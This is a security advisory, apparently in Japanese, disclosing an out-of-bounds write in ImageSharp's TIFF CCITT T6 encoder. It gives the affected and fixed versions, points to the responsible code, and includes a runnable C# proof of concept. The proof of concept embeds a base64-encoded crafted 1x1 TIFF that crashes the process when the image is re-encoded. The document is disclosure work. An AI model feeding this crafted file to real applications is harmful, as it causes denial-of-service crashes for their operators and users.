ImageSharp: TIFF CCITT T6 エンコーダが、サイズが小さすぎる出力バッファの範囲外に書き込みを行う

### 概要

TIFF CCITT Group 4 (T6) エンコーダは、1ビットの画像をエンコードする際に、論理的な圧縮データバッファの範囲外に書き込みを行います。 デフォルトの `TiffEncoder` を使用してデコードおよび再エンコードされた有効な 1x1 Group 4 TIFF 画像は、未処理の例外でプロセスを終了します。

### 影響を受けるパッケージとバージョン

- パッケージ: `SixLabors.ImageSharp` (NuGet)
- 影響を受ける範囲: `>= 2.1.0, <= 4.1.1`
- コミット `0815358f9202a78bc7f3b83e19282dc3654b500f` は、リリース **v4.1.1** に対応します。

T6 コンプレッサーは、コミット `3c9eb470a07a15012c2a29ad84090dcc804a7975` によって導入され、v2.1.0 で初めてリリースされました。 このコミットでは、`Width * rowsPerStrip` によるメモリ割り当てと、チェックされていないコードの書き込みが行われています。 1x1 の脆弱性は、公開されている v2.1.0 および v4.1.1 で発生し、未圧縮のコントロールは正常に動作します。 ソースコードの履歴を見ると、v4.1.1 までに容量に関する修正は行われていません。
### 詳細

[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) は、`Width * rowsPerStrip` バイトを割り当てます。 したがって、1x1 のストリップには 1 バイトが割り当てられます。

行のエンコード後、[`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) は、2 つの 12 ビットの EOFB コードを付加します。 [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) は、これらのビットを宛先の容量を確認せずに書き込みます。 最終的なチェックされたスライスは、オーバーサイズのバイト数を検出し、`ArgumentOutOfRangeException` をスローします。 これは、チェックされていない書き込みが 1 バイトの範囲を超えた後に発生します。

デフォルトの TIFF エンコーダは、デコードされたフレームのメタデータから `CcittGroup4Fax` や 1 ビットの設定を継承できます。 再現の手順では、このデコードおよび再エンコードのパスを使用しています。

### テスト環境

- 公開されているNuGetパッケージ: `SixLabors.ImageSharp` 4.1.1
- ターゲットフレームワーク: `net8.0`
- .NET SDK: 8.0.424
- .NETランタイム: 8.0.30
- オペレーティングシステム: Debian GNU/Linux 12, ARM64, Docker

現在、悪用事例は報告されていません。

### 再現方法

`net8.0` プロジェクトを作成し、公開されている 4.1.1 アセンブリを参照し、以下の `Program.cs` を使用します。

```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream();
if (mode == "control")
{
image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
image.Save(output, new TiffEncoder());
}

Console.WriteLine($"encoded=True bytes={output.Length}");
```

実行:

```text
dotnet run -- exploit
dotnet run -- control
```

悪用コードを実行すると、終了コード 134 が発生します。

```text
ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: 指定された引数が有効な値の範囲外です。
at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)
```

制御コードを実行すると、終了コード 0 で完了します。

```text
ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212
```

### 影響

攻撃者が提供した特定のTIFFファイルの場合、アプリケーションがそれをデコードし、継承されたTIFFメタデータを使用して再エンコードする際に、この安全でないエンコーダのパスが選択される可能性があります。 実験の結果、未処理の例外が発生し、プロセスが終了することが確認されました。 この報告は、T6エンコーダのパスに限定されます。

影響を受けるパッケージ:
- nuget SixLabors.ImageSharp: 影響を受けるバージョンは2.1.0以上、3.2.0未満。3.2.0で修正済み。
- nuget SixLabors.ImageSharp: 影響を受けるバージョンは4.0.0以上、4.1.2未満。4.1.2で修正済み。